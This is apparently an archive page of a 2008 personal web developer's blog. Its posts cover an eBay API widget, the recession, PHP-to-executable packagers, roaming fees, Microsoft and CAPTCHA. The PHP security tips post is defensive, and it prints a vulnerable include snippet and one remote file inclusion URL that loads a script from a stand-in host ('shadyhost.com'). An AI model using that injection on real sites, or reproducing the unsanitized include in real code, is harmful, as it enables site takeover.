November 15, 2008   

The eBay API


The last couple o weeks have been real busy, as usual, so my posts may be sporadic at times.
Besides my regular daytime job, I’ve been trying to wrap up a draft for scrolling flash widget.
Besides, who isn’t making scrolling flash widgets these days.
This widget uses a blend of scripting languages.
It uses JavaScript to interact with flash on the skins and colors, etc.

You can play around with the skins and colors here.
The flash object reads XML that is outputted from an url connection to a php file.
The php file is parsing, you guessed it, the coolest developer API around, eBay’s Web Services.
Right now, its not actually redirecting on the links, its just echoing the redirect URL.
Keep in mind, if your developing these widgets, etc. as an eBay
affiliate, if the widgets are hosted on an eBay page, like the view
item page (item description), any eBay web site page, it cannot contain your affiliate link.



November 1, 2008   

Recession or Economy Recycling

Recession may be just a way of the economy getting sick and throwing up excessive competition and goods.

Only the strong survive and get stronger, eat up the work from the excessive competitions that went under.
Can it be the financial institutions fault for causing it and then scream for help when they see they’ve made a boo-boo. They finance the excessive competition then cry when the businesses cant pay their loans.

For someone to have a better living standard, someone has to give up some of theirs.
Europe is allowing various new countries into the EU where the minimum wage is like 1/4 of the average in France/Germany.  Some employers, like in Germany for exmple, hire the labor from these low wage countries or move there, competition once again, so national employees have a hard time finding a new job as well as losing the old one.
Immigration is always good, as long as everyone gets treated equal.



October 25, 2008   

Packaging PHP as Exec

A friend of mine asked me what I thought of programs that convert your
php, mysql driven web site into an executable for end users. Programs like
Bambalam and ZZEE PHPExe.
I didn’t download them, but I think it basically sums up to packaging a
web-server, the necessary php and mysql libraries used in your site and a cloned web browser.
PHP does not come with a graphics library, like frame, window, button, etc. Therefore, you would always need to render the graphics in something like html.
Hence, the cloned browser.
I remember playing with a few compilers, just html, I think even before php came out, like 10 years ago, just to put together some eBooks, because that basically all you could do with it.
Now the programs package everything up in executable file that launches the
web-server, php, mysql, and then the cloned web-browser as one program.
All fine and good. But here are some thngs I think are worth taking into account:
I would think with all that packaged, the users executable file or files will be
pretty big. I may be wrong but depending on your content, the file will probably
be 10 megs or more.
So you may have to distribute it kind of like the OS in a cd/dvd/pen deal.
If you change wording or something in one of your html files, do you have to
repackage everything (updates) and what happens to current settings, databases, etc? And how will that effect your work flow.
What happens if you have to get the full file path in php, where is the program
installed?
Are the mysql tables, users, etc, created in the database before it is packaged?
And if needed, how will you bind changing user data with your own. For instance,
the user is offline, and uses the database, and you need to update the changes
on your servers database.
Another alternative is Google Gears, but its not a package it up solution, and you basically do have to understand the Gears API.
Will JavaScript, DOM, etc., work with the cloned browser that comes included?
All and all, i think it may be an option for the user to save on bandwidth etc, or if you really have no intention in creating stand alone applications in something like Java, VC, for web integration.



October 20, 2008   

Some security tips for php


If your working with php, here are some of the main things i´ve learned that you/your host should do to avoid getting site hacked.
In your php.ini file set the following configuration variables.
register_globals = Off
As it says in the .ini file:
; You should do your best to write your scripts so that they do not require
; register_globals to be on;  Using form variables as globals can easily lead
; to possible security problems, if the code is not very well thought of.
Most scripts will work with register_globals = Off.
Or you can use this script and just include it in your scripts.
Example: Copy and save it as loadenv.php, then at the beginning of your script put:
include "loadenv.php";

Two other important configuration variables that should be turned off:
allow_url_fopen = Off
allow_url_include = Off

These are important. Suppose you have an index page that uses an url variable to include a page like  http://www.blabla.com/index.php?pageID=main
Then in index.php you have something like
if($pageID) {
include "$pageID" . ".php";

//  which should actually be something like
//  include "/home/to/my/web/" . $pageID . ".php";

}
then the hacker does something like:
http://www.blabla.com/index.php?pageID=http://shadyhost.com/nasty_script.php
Do you see where im going with this?
You can check what values are set in your config file by calling this php function in a .php page.
<? phpinfo(); ?>



   

Ive been Hacked

Yep, if your site hasn’t been hacked in one form or another, your are a lucky
one. I think that there might be several reasons why hacking runs so rampant:

- No matter how good you code software, it will
always in most cases have vulnerabilities
(look at all the critical
updates from Microsoft or even the previous ones from WordPress for example).
- International laws, when they even do exist, are a
bit lenient on the hackers.

Take this for example: A hacker creates and spreads a virus that in most cases
renders the computers Operating System useless. Here we go again, re-format
disk, re-install the Operating System, all the hardware drivers, etc. And lose
all data that you did not manage to save. Multiply this by millions of computers
whether  home based or business/work computers. Do you see the damage done
in terms of expenses/fees, lost time, lost revenue etc., to these millions of
computers?
The hacker gets caught and does 50 hours of community service.
Now imagine if someone broke into all these houses and businesses and physically
sabotaged these computers. Do you think he would still get the 50 hours of
community service? Because that’s basically what the person is doing.
- You or your host are not taking
the necessary precautions to avoid this nightmare.

Back to the above. Updates, security patches, etc.

Its essential that you/your host update to the latest security patches, etc. If
your working with a pirated version  of windows, spend the extra buck, the updates are worth it, (but not on Vista, lol).

Like I said in a previous post, I worked/am working on a shopping cart system,
and
id be filthy rich if I had the same number of results on google for the actual system as I did for security advisories.
That’s why sometimes you have to re-think what direction you want to go. Like all other software vendors, Id hate to hear that a site got hacked because of my software. And as I said before, the software is mainly for developers, but still no excuse.
The next post will cover some of the security stuff I’ve learned dealing with php on a web server.

.



October 19, 2008   

Whats with the Roaming

My current job forces me to live a nomadic type of life style where I travel allot through Europe. And since WiFi or an internet connection is not always available, I had to sign up for a roaming package. Besides, WiFi is basically out of the question, you have to stand underneath the antenna and pay exorbitant fees like $5 every fifteen minutes when its not for free.
After shopping around a bit, I found that Vodafone had the cheapest plan. The only thing that sucked is, in order for me to have the roaming package, I also needed a regular home package. Anyway, the whole deal costs me about €80 Euros a month (over 100 dollars), and I only get to waste 100 megs of incoming and outgoing bandwidth. So, if you feel like this blog is a bit poor on images, etc., now you know why.
You would think that since its now (for the last 50+ years), a European community, and most countries in Europe do have a pretty advanced communication system,  necessities like communication etc,  would not be governed by ridiculous roaming fees.  I’m not sure how much it costs to get mobile access for  most of the  USA, but it sure must be cheaper than $100+  for only 100 megs.
If its a European community, then it should really start behaving like one. Although I really cant blame Vodafone, because in terms of prices, I really cant find anything that comes close.
And for now, the 100 megs, wisely stretched, allow me to do my work, and keep in touch with family and friends (IM, mail, etc.). I’m even actually using my own cooked up editor on my local machine to post to this blog just to save a couple of megs of going to the admin section and posting.
So, bare with me if I seem slow to respond, or interact, or the site looks like a dictionary, im really stretching the megs the best I can.



   

Bill is a good man

So I heard that he isn’t the richest guy in the world now.
Warren Buffet is? Made his killing, billions, off of the uncertainty of the
Market.
"So your uncertain, huh? Well I’m not, this is all going to hell in a basket!
gimme your cash."
And life goes on. Back to Mr. Gates.
He is the man. He took the ball and ran with it back in the late 70’s.
Lets face it, he didn’t invent the operating system, but he modified it in a way
that let the non rocket scientist use it on a day to day basis. I love my
Expression Web, Outlook Express, etc.
The only real grudge I have/actually had against MS was a good few years ago.
I decided to start coding in Java, its a simple language to code in, and if you
are already familiar with JavaScript, PHP, etc, and now I think C#, its not that
difficult of a learning curve. Anyway, MS had there own version of java
installed on Windows, with their own subset of Java classes. So that’s where I
focused. Plus the JRE, (java runtime environment), and compiler were allot
quicker, in my opinion, compared to Suns.
I guess Sun didn’t like to much the idea of MS bundling there own classes, kind
of like distorting Java, hence commenced the anti-trust suits etc.
The final outcome, MS paid millions in damages and decided to drop Java
altogether. And months of coding went down the drain, along with future road-map etc. Although I think that they were required to install/give user option to install Java on a service pack, or something like that.
I could argue that MS should have if they could have bought Java, but would that
help more than harm?
If bought, in the least, they definitely would have a strong hold on cell phones, set top boxes, and the rest of the Java arena, .jsp, and what not. But once again, it probably wouldn’t be open source.
I think Microsoft is in a kind of bind right now, but nothing life threatening.
You have open source programs like Open Office, (which I definitely like), that basically replace your need, (most of us anyway), for Excel, MS Word,  and its just as easy to use if not easier, with more functionality. And if you want to and can, you could always code it to your liking, its free and open source. Basically it comes down to the question, why pay for something when you can get  almost the same thing for free.
They fell asleep on Internet Explorer and its crazy JavaScript engine, version 6
anyway, so now I love my Firefox. Googles Chrome didn’t really sell me, but then
again, its still a baby.
Like using .asp, why not just download the xampp installer, and get Apache web server, php, mysql etc., all installed for free in less the 5 minutes. And although Windows is the de facto OS for the user, i would never trade it with Linux on a web hosting scope.
So now they say that they aren’t, but are probably still going after the Yahoo
deal, not really sure where that stands right now, after the Google - Yahoo
deal, and I heard that this time they´ll take the whole package. I’m not sure if
MS wants/wanted Yahoos users and content, or just not letting Google get its
hands on it. Personally, they should have just bought MySpace when it was
available and pushed hotmail, MSIM and their new search engine, (which  pays you to do searches on it). It would have definitely been allot cheaper
to buy.
Lets see what happens, but they better do so some magic with Windows 7, which I heard is coming out in a year or so. And the first
trick……. make Vista disappear (:P). 

.

.



October 17, 2008   

Hard Times Hitting the Tech Sector

It seems that the bad economy is also hitting the tech sector, or at least where web content is concerned.
Lets face is, when times get tough, first come the necessities then comes the socializing, etc.
And since these sites ultimately make money by serving ads, they’re double screwed.
Creating software, content and maintaining it is expensive.

Unless you open source it and host it on something like sourceforge or a free app hosting service and hope it sticks to the masses one day, your still investing time in it.
A few years back I started coding a shopping cart system.
Mainly used for paypal and c.o.d. orders on a music merchandise site.
Since it worked pretty well for us, I decided to add a few modules to it, (affiliate, publisher, etc.), and sell it on profitcode.net.
Right now I do not have the time to maintain it (have to work a full time job), so I had to put it on standby for a while. Fortunately, the only person I layed off was myself.
It didnt stop me from coding, i just moved on to another project and still deciding if i should pretty package the cart system with an easy installer etc., and spend more time on it opensource/not shure.
These companys that are letting go of dozens if not hundreds of employees do not have that option.
Lets just hope that this bad economy thing blows over quickly, its been a rough couple of years.
For all you coders and entrepreneurs out there, heres a little bit of inspiration.



October 15, 2008   

WAP - How long will it last

A couple of months ago, out of mainly curiosity, I downloaded the Nokia simulators, just to test out a simple appilcation made with the Java Micro Edition compiler/runtime.
See also Java ME Wireless Toolkit.
The phone i used for testing the app was a low end - bare bones Nokia phone.
But with Googles Android, Apples iPhone, etc., we´re almost to the point where the incorporated browser are rendering the same html etc, as your normal computer browser, and not just the minimized subset of tags used in WAP.
So the question is, what happens to WAP when  device manufactuers  can fit in a 100 gigabyte disc and Pentium 4 processor in your cell phone?
Granted, we´ve come along way from the bricks used 20 years ago, but is WAP here to stay?
Seems so. Techcrunch had a post today about some sites that allow the users to create custom mobile sites, mobile greetings etc.



October 13, 2008   

The Captcha Dilema


I noticed that some people realy have nothing better to do than scrape website contact forms, comment forms on blogs like this one and submit spam all day to them.
WordPress has a few plug-ins to screen spam comments, we personally use Akismet. Which got me thinking on the Captcha images you see on forms that require you to retype the shown letters/numbers.
So i decided to look up some coding for it. mainly php.
This site has a easy to install and use script, and i did install it on a contact form.
To generate a random letter/number image, php has to use a graphics library like GD or Imagik.
For me, its like using up unessecary CPU.
So i kind of modified the script a bit to just get the random number/letter sequence, and just print it out in type face. Do away with the image processing.
View Code



Next Page »